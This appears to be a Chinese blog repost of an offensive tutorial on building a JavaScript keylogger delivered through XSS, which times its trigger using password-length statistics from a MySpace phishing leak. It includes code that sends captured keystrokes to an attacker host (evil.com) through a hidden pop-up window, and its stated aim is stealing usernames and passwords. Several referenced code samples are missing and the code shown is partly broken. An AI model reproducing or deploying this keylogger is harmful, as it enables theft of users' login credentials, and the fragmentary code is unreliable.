关于xss的攻击与防范,我在08年09年写过一些文章,有自己记录的,也有摘抄的。昨天我又看到一篇讲攻击的文章,记录一下,也可以与以前进行一下对比。
本文是写给那些不拿XSS当Web应用严重漏洞的人看的。 实际上,人们可以利用XSS漏洞大捞一笔。本文是在热爱黑客技术 但从不攻击他人的网站上发表的,所以我不会对这里介绍的知识的使用方式负任何责任。
一、引言
最近,我对XSS兴趣十足,所以决定写一篇文章来详细介绍如何注入一个Javascript按键记录器,当然,人们既可以利用本文 介绍的知识来执行XSS入侵过滤,也可以使用这里介绍的Javascript按键记录器来盗取用户名、密码和用户证书。 让人揪心的是,即使不是Javascript专家的人,也能够写出行之有效的Javascript恶意代码的,只要你对web比较了解就行了。在本文的续 篇中,我将为读者提供两种本质相同但风格各异的Javascript按键记录器。
要想读懂本文,你必须具备下列知识:
⒈ 如何写Html的网页表单。
⒉ 如何写Javascript DOM 对象。
3. 了解Http协议的基本功能。
4. 了解Javascript伪装技术。
⒌ 获悉Burp Suite1.1的用法。
二、我们的XSS的功能
在对XSS漏洞进行利用之前,我们必须知道这个XSS利用应该具备哪些功能。也就是说,要明确XSS攻击的目标,比如摧毁一个站 点,进行用户重定向或是窃取用户证书(这才是我们最感兴趣的!!)。 就本文来说,我们的目标是打造一个具备按键记录器功能的XSS,所以,我们必须从用户的角度来考察登陆表单的情况,比如说用户名和密码的平均长度是多少? 用户的平均打字速度是多少?诸如此类的信息,我们会在打造能运行在IE、Firefox、Opera和NetScape浏览器上的Javascript按 键记录器的时候派上用场,当然,我们会用不同的风格来实现这个按键记录器。我们的程序能窃取用户的认证信息,或者仅依靠计时(比如 在一段时间后自动运行)或仅基于密码长度(比如在用户键入5个字符后自动运行)或者是基于计时和密码长度(例如,可能进行某种字符踩点,像检测是否按下 Enter键或Tab键)。
三、打字速度有多快?
我们为什么要考虑这个因素呢?因为必须使我们的按键记录器更行之有效。为了衡量每分钟的打字速度,一个单词被标准化为5个字符或5 次按键。一项对普通电脑用户的研究表明,在抄写时平均录入速度是每分33个单词,在写作时就只有每分钟19单词了。[8]进行了类似的研究,它将所有人划 分为“快”、“中”、“慢”三组,他们的平均速率依次为为40wpm(wpm即每分钟字数)、35wpm 和23wpm。 对于练二指禅的用户,他们靠记忆输入文本时速度能够达到37wpm,照文本输入时速度则在27wpm。
打字员平均能够达到50—70wpm,而一些职位需要80—95wpm(这通常是速录职位和其它录入行业的最慢要求),一些老练的 打字员的速度甚至超过120wpm。
通过使用针对个人定制的接口,例如四肢瘫痪的物理学家斯蒂芬森·霍金使用电键和Walt Woltosz. Due制作的适配软件,录入速度可以达到15wpm。 由于他行动迟缓,它的录入接口后来升级为检测眼神的红外照相机,当然实际的wpm我们无处得知。
四、密码和用户名的平均长度是多少?
由于缺乏这样的调查数据,所以这的确是一个难以回答的问题。但最近,一些攻击者在MySpace发动网络钓鱼,结果34,000个 用户名和密被曝光,我们可以藉此得到一些数据。这次攻击相当小儿科:攻击者伪造了一个MySpace登陆页面,当用户通过该页面登录时,他们照例输入用户 名和密码,这些数据被分发到各被俘获的Web服务器上,随后攻击者就在这些服务器上收集个人信息。
据MySpace估计,在这个钓鱼网页关闭之前已有10多万人受到攻击。我的数据来自于两处收集点,当一小部分人意识到遭受钓鱼攻 击而告发后,这些数据已被清除。进过分析这些数据,结论如下:
密码长度:
65%的密码的长度小于等于8个字符,17%的密码的长度小于等于6个字符,密码的平均长度为8个字符。
具体来说,密码的长度分布情况如下所示:
1-4 0.82%
5 1.1%
6 15%
7 23%
8 25%
9 17%
10 13%
11 2.7%
12 0.93%
13-32 0.93%
仅有3.8%的密码是由一个字典中的单词构成,另外的12%是一个单词加上一个数字组成——跟前面一样,其中2/3的最后一位都是 1。
纯数字型 1.3%
纯字母型 9.6%
数字字母型 81%
非数字字母型 8.3%
利用好上述数据
现在,我们知道了密码长度极可能是8个字符,同时假定用户名长度为7个字符,由于普通用户根据记忆输入本文和密码时的平均打字速度 是37wpm,所以:
用户名+口令=约15字符
一个单词=5字符
这意味着:用户名+密码 = 3 个单词,所以:
37/3 = 1/x => 37x = 1 => x =1/37 分钟
或x = 1/37 * 60000毫秒 = 1621毫秒(我会解释这里为什么要转换为毫秒)
现在,我们已知道一个用户输入其用户名和密码的平均时间,我们同时知道,他还可能用Tab或Enter键来切换文本域,之后才会提 交表单数据。所以在用户进入登入页面后,按键记录器就开始核对时间——包括Enter,Tab键和密码的长度。
现在我们开始打造按键记录器。在我们的按键记录器中将用到DHTML的按键响应事件,并会在表 单中注入一Javascript函数setTimeout 和window对象以及调用window.open方法来执行我们的代码(如果我们使用document.location的DOM对象或者使用 document对象,用户无需重定向到另一个页面就可以窃取其密码并进行钓鱼攻击)。
如果知道要攻击的网站的密码安全策略的话,能够使按键记录器变得更加有效,例如,安全策略规定 密码由三个字母、两个特殊字符和三个数字组合,我们就可以专门设计一个能够检测相应密码格式的按键记录器,并在检测到用户开始键入内容后自动执行(通过核 对字符或长度),对于用户名也是同样的道理。
五、Javascript按键记录器的第一个版本……
由于下面的这个版本的按键记录器不是最有效的,所以在这里将要对它进行大量的修改。我们的第一个按键记录器的代码很简单,目的在于 让大家了解有关基础知识,目前我们不必担心Javascript的注入机制,我们首先打造一个可工作的代码即可。在下面的代码里,我们建立了两个变量 counter 和arrayOfChars,第一个变量记录用户的按键次数,第二个变量保存用户在发生前所有按下的字符。发送这些字符时,我们将调用 document.location对象,但这也意味着用户将会从原来的web页面重定向到另一个web页面!为简单起见,我们第一个版本的按键记录器就 先这样了。
示例代码1:按键记录器的简易版,用来记录三字母的单词。
六、Javascript按键记录器的第二个版本……
我们的代码已经可以有条件的执行了,单如何才能更有效呢?是的,如果我们使用setTimeout对象的话,通过对输入用户名和密 码的时间长度的有效的假定(通过利用前面提供的数据),就能获得更好的效果。
所以,接下来就是了解如何让setTimeout干活了!
SetTimeout()
使用window.setTimeout(),我们可以规定某段Javascript代码(或者说表达式)执行规定的毫秒,从 setTimeout()方法调用时开始计时。该方法的一般语法是:[11]
setTimeout ( expression, timeout );
其中,expression是在timeout毫秒后执行的一些Javascript代码。[11]
SetTimeout()也返回一个数字式的timeout ID,能够用来跟踪timeout。它最用于clearTimeout()方法见下文P>
下面是一个简单的示示例:
- <input type="button" name="clickMe" value="Click me and wait!" onclick="setTimeout('alert(\'Surprise!\')', 5000)">
下面是使用onkeypress事件的html表单:
每当一个键被按下时,以上所述代码就会执行我们的KeyLogger函数。现在,我们的函数使用了一个叫counter的全局变 量,用户导航到其它web页面之前的数据一直存储在该变量内!
要想注入上述代码,我们必须先重载网页里的的表单事件(如果表单存在的话!)。这意味着,我们必须在该事件之前插入我们的代码,然 后注释掉其余的代码!(我将会在下面进行详细介绍)。我们将要写入的代码表达式将以下列形式使用Javascript中的timeout:
- function autoTrigger() { setTimeout('sentData()',1621 ); }
示例代码3:这个函数将要替换示例代码1中第26行的sentData方法
示例代码2中的html代码根本用不着修改,我们只须修改第28行!如果输入的单词的长度大于3个字符,我们的代码就会在1621 毫秒后自动触发……
为了使记录器更好玩,我们需要修改执条件和html的表单输入。所以我们需要检测enter键和一些关键字,并假设用户名和密码的 长度大于15字符……。
为此,我们唯一要修改的是 sentData()函数,具体如下所示:
- function sentData(_keyNum){
- if (arrayOfCharsToSent.length <= 15 && _keyNum == 13) {// 13 是enter的 ascii 码 ….
- window.open('http://www.evil.com/cgi?'+arrayOfCharsToSent.toString(),
- 'jav',
- 'menubar=no,toolbar=no,scrollbars=no,width=1,height=1,resizable=yes');
- new_Win.blur()// This code is going to minimize the popup window
- }
- }
如今,我们的按键记录器会变成下面的样子:
--EOF--
原文好象也是摘抄来的。我这里就不贴出来了。而且原文里也没有注意代码的准确性。。不过看情况好象也是从51cto转的,只是找不到51CTO的原文。将就点看吧。
顺便附上我以前发表过的博客,也可以做个参考: